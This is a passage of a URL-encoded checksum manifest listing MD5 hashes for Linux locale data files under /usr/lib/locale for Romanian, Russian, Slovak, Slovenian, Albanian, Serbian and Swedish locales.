2Fro_RO.utf8%2FLC_NUMERIC%0A65e12b4d222e493904bb6199248ea868%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_PAPER%0A97f3a8c758b325b782fe9eeba0761c6d%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6a866016410fb4caaa7c7f06363bb29b%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_TIME%0A83c03a8d3e69b64e550d68d281f95f59%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_IDENTIFICATION%0Aa370b2f5134f96816c7e4e35f1cf087a%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_TELEPHONE%0A19e70cb4aafaf90a7a7940ff1c14fec9%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_MONETARY%0A23a9d1a165af39f380f49f3a72cafea8%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_NUMERIC%0A0cb338cff788ae0064c4c51fddd26076%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_ADDRESS%0A4116cf00ab1b3524ddfe8ac001190fba%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_NAME%0A3066ee7abd29b4937e846453d46b863a%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_MEASUREMENT%0Ac907f167139e3c0532b8a6a6664fec59%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_PAPER%0A04a2ec397a1c23cce437d1709258bca4%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_CTYPE%0A49c7b52751bb3e1d86d132af4d896538%20%20%2Fusr%2Flib%2Flocale%2Fru_RU%2FLC_COLLATE%0A34191068196f4b14dbfb9d2255833171%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_IDENTIFICATION%0A3736fec76edb29e8f468b3541292ab29%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_ADDRESS%0A3a7253f6b5d68aee8319fd0d59b1836b%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_COLLATE%0A442d83e5848f1c994c125db07f9d72ef%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_CTYPE%0A5ba53e2b8bd0a71e92fd97925f281afe%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aba2c039a1f9f5d8545dad62bd237df8a%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_MEASUREMENT%0A138b489be392cd3b88ad7862626f82c7%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_TELEPHONE%0A780494e843a37ffac3ac20030a987e3d%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_MONETARY%0A528f468dbfb791b1577aea5ab87c7aaa%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_NAME%0A2d1e62bef1be6f48f5c3c1ad991abc0b%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_NUMERIC%0Affc6806bfe9872a9677eef6bce742a33%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_PAPER%0A075f036b9767a9807a5a4badb087cb6e%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.koi8r%2FLC_TIME%0A2dde2fe2b873a7b670db180a1b5d8f3c%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A18c47d7980361aa2fe2b16eb9c59b857%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_TIME%0A7006e05ced6e9b015d1afdd0650010e8%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_IDENTIFICATION%0A019fd6e5a3e4a3315da372c3f8f8c9aa%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_TELEPHONE%0A66a60bc3418a11f4078afa2b53eb84f6%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_MEASUREMENT%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_NUMERIC%0Ab83f5bdeca0c367c2dcc8f3f708e07b8%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fru_RU.utf8%2FLC_CTYPE%0A4f9809050dc4cd773d27cedac28e0557%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A8f55cfd8c4eec6c5b30abd101f26692b%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_TIME%0A3cd30f658ea470b470f16b6576a2e541%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_IDENTIFICATION%0Af075f59fb9c67bfad0b45bf72b84ec58%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_TELEPHONE%0A8a81e2a196c50112f206dadfdffaee35%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_PAPER%0A3b731a0cceeec633f37ab37161ef35aa%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_NUMERIC%0Aa15351a4d236a809cafaf994093e914a%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_NAME%0A7ca2f32b22c21cee5223657eb91fd9f6%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_MONETARY%0Af0d489b953def49fad63304786d1020d%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_MEASUREMENT%0A35d7c9b87864e33e7087d6646bfe6ef4%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_CTYPE%0A5263d12f54cc107a6c82a21f91242867%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_COLLATE%0Ab5a9f372c2822e62a428ee10a5d30cc0%20%20%2Fusr%2Flib%2Flocale%2Fru_UA%2FLC_ADDRESS%0A0fc67f74c48916b16f41092743373e08%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae77c4b666800d3e0b47d63d65cfd1e5%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_TIME%0A8cc9b855f8be8e5426071b1fc5c2c12f%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_IDENTIFICATION%0A18a3a5b256ba27f3bc6900bce351307a%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_TELEPHONE%0A9328e5d5f1c47fb0671cb1d7fd07ec94%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_MONETARY%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_NUMERIC%0Ab83f5bdeca0c367c2dcc8f3f708e07b8%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fru_UA.utf8%2FLC_CTYPE%0Ac233e5a160ecc5f1e41a2ade576a117e%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Acfda743e16d7124b302668de9a3bf142%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_TIME%0A066b20879856be48193f8ed49e68e2a4%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_IDENTIFICATION%0A0786908e1e19e9ab390a69297abcee02%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_TELEPHONE%0A2f0722d075a301aee2eece869b04075c%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_MONETARY%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_MEASUREMENT%0A8a2acabaa518d4ea111c67182d6eb3c4%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_NUMERIC%0A0d85e65cbecc17bf26d2137a46820858%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_COLLATE%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_PAPER%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK%2FLC_ADDRESS%0Afea25bedaa988d52b6c8f11e7cbf590c%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab29c9471fbd99d88d22d85b55917021a%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_TIME%0Af126e63c26d58b7f4483e217b1e29f3b%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_IDENTIFICATION%0A283b460e051f2014a36e7a89d3b2ab34%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_TELEPHONE%0A45f90cc066e844020b7947627dfd5a42%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_MEASUREMENT%0Aeb52ce5476daa284a70d9478ded3ee97%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_NUMERIC%0A9ef0098d52b82acc7516db2b1945cfb4%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsk_SK.utf8%2FLC_CTYPE%0A02c989fc70982cf1731344a5528cab4d%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_IDENTIFICATION%0Af6499b3bfe12ae0f048018c203723395%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_COLLATE%0Ac870a067bf64a5d9aaeeeb38b1174738%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ae262171a7bde709ce06a8414f118ab42%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_TELEPHONE%0Ac0df1bf5ae434ba134ae52f61e9d9bb1%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_MONETARY%0Abe8cb079a094b63e31bd93806aaf6dc5%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_NUMERIC%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_PAPER%0Aa2f9806b32b9861bb96ac4c727fe5b62%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_MEASUREMENT%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI%2FLC_ADDRESS%0A67753edf7a2e40ca726fbfe0357f75bf%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_IDENTIFICATION%0Accecb5ca7694cb90198d44cdc238558d%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_COLLATE%0Ad61b3a29529088df2258749f36cd819b%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9400ec6da80ab8de1666ca8a104f4494%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_TELEPHONE%0A5ac1d42f377034b3d15dbb387eb1a177%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_MONETARY%0A813cf43c9a4bac34a520abc9066c1c26%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_NUMERIC%0Ac72afb51fed513298b286622dfd4168c%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsl_SI.utf8%2FLC_CTYPE%0A6e7fd6fffc7f1de32459ae3d181f32fc%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9c8be9092d8ecc18fccab5d506c2938f%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_TIME%0A61ab9778cf64b6a5a62d78f94205b600%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_IDENTIFICATION%0Ad9cacc7216f4ba4b4988fed7ee4a1ee6%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_TELEPHONE%0Ad4b1e405f732dc0d83ce76cec89913bc%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_MONETARY%0Ac91ca0520e0b04f77984df2cb5d8ac15%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_NUMERIC%0A6c252a0eacd0ab87f0b3feaff766121e%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_ADDRESS%0A4e8c474096cf5a9cc7061c1f39737e7c%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL%2FLC_COLLATE%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A4ba32a45491777ff553f27e113a2588d%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_TIME%0A598c6ef29d85a58c4845a7564e0e0e06%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_IDENTIFICATION%0Ada13b5e98658de533d1f2017a714206d%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_TELEPHONE%0A20ed7b46e5d05c75395271a8013d49a4%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_MEASUREMENT%0Aa3d38255dd1552fdce9ffeb3b1e78e73%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_NUMERIC%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_NAME%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fsq_AL.utf8%2FLC_ADDRESS%0A32c279f75ed5cf395fc82268227060ac%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_IDENTIFICATION%0Acf24032f4b242a15ca4bb5e3db8bb556%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_COLLATE%0A0836611423d97904f188288f19ee53ba%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_CTYPE%0Aa0963964fc244c0079c6b043874f3540%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abe2eea828e066968e4c3e50058a7851a%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_TELEPHONE%0Aac87e810e4d18c01c33cb2df1c8077a6%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_PAPER%0Aaef1d9562d73bb8c029c88448d176076%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_NAME%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%2FLC_ADDRESS%0A6f6b94418e7ee80e99837e90a778ab38%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_IDENTIFICATION%0A94e25dd4b2162fc0e8085a3b57e20b94%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_CTYPE%0A8897e849f4fa9d3a0e75e5208d3f8261%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adef276b597a8115e58fca86f067b0382%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_TELEPHONE%0Adab6ebb421840b5ea34c17d379b10b90%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_MONETARY%0A2230f5884e88e818b680e3cce975ba46%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_MEASUREMENT%0A2da7692946b31fd09dc6bffca7704c14%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_COLLATE%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%2FLC_PAPER%0A0fc67f74c48916b16f41092743373e08%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A146b99a031bdd3f09fb6cf6834875b77%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_TIME%0Aad28aafda89dab8cc7a70560ec3fbe05%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_IDENTIFICATION%0Adef276b597a8115e58fca86f067b0382%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_TELEPHONE%0Af39a9c0d646148fd2a524b61f91f6c1f%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_MEASUREMENT%0A2da7692946b31fd09dc6bffca7704c14%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_COLLATE%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU.utf8%40cyrillic%2FLC_CTYPE%0Af6d0b09bfc50cc615eae6c4cd548cfb7%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_IDENTIFICATION%0A6f6f46e090dbf8297c73cd2d6ba6b61f%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_COLLATE%0Aa053c94f2e9fa8b918c0dbf04f79f9d9%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Afcc4df029208ea5c1ed6b53ff0f109df%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_TELEPHONE%0A82be36d109c5bcf4d4c84dbdd6213450%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_MONETARY%0A04bfc997d800147945c2ad74a59ed77b%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_NUMERIC%0A0cb338cff788ae0064c4c51fddd26076%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_ADDRESS%0A426272f07589de1d6a62a2c0895a36d1%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_TIME%0A4116cf00ab1b3524ddfe8ac001190fba%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_NAME%0A3066ee7abd29b4937e846453d46b863a%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_MEASUREMENT%0Ac907f167139e3c0532b8a6a6664fec59%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_PAPER%0A04a2ec397a1c23cce437d1709258bca4%20%20%2Fusr%2Flib%2Flocale%2Fsr_YU%40cyrillic%2FLC_CTYPE%0Ace8d9ca9f8edd55645f0971b95492154%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aafed80569c7fdf881f0778686d105195%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_TIME%0Aef71b21e3bbe276f290765046e3aa915%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_IDENTIFICATION%0A0533217f87815805fc3f2eb4be0224b5%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_TELEPHONE%0A46b67dd73b6055266ba616c07131e967%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_MONETARY%0Ad4437a5d9a7c094eb8e70101f8b05347%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_COLLATE%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_PAPER%0A9803aabd8b3564c9febbd871fd579a3c%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%2FLC_ADDRESS%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adc218d6cd7d4f0b6b974a498f51a5ca0%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_TIME%0A74d2e8ea0f0491a857525a719653992f%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_IDENTIFICATION%0Aaeb5bd60b8bf6cf34cd50101c8fee306%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_TELEPHONE%0Ab55c10a5e777d455af8ae8f7bf11d91e%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_MONETARY%0A66eea728a3fe59f0536f862a2d4594c3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_COLLATE%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%2FLC_CTYPE%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adc218d6cd7d4f0b6b974a498f51a5ca0%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_TIME%0Af6243ccfc38bd7727ce79a5c36fe4a79%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_IDENTIFICATION%0Aaeb5bd60b8bf6cf34cd50101c8fee306%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_TELEPHONE%0A75416e7e92590faa82972b3593b3de4c%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%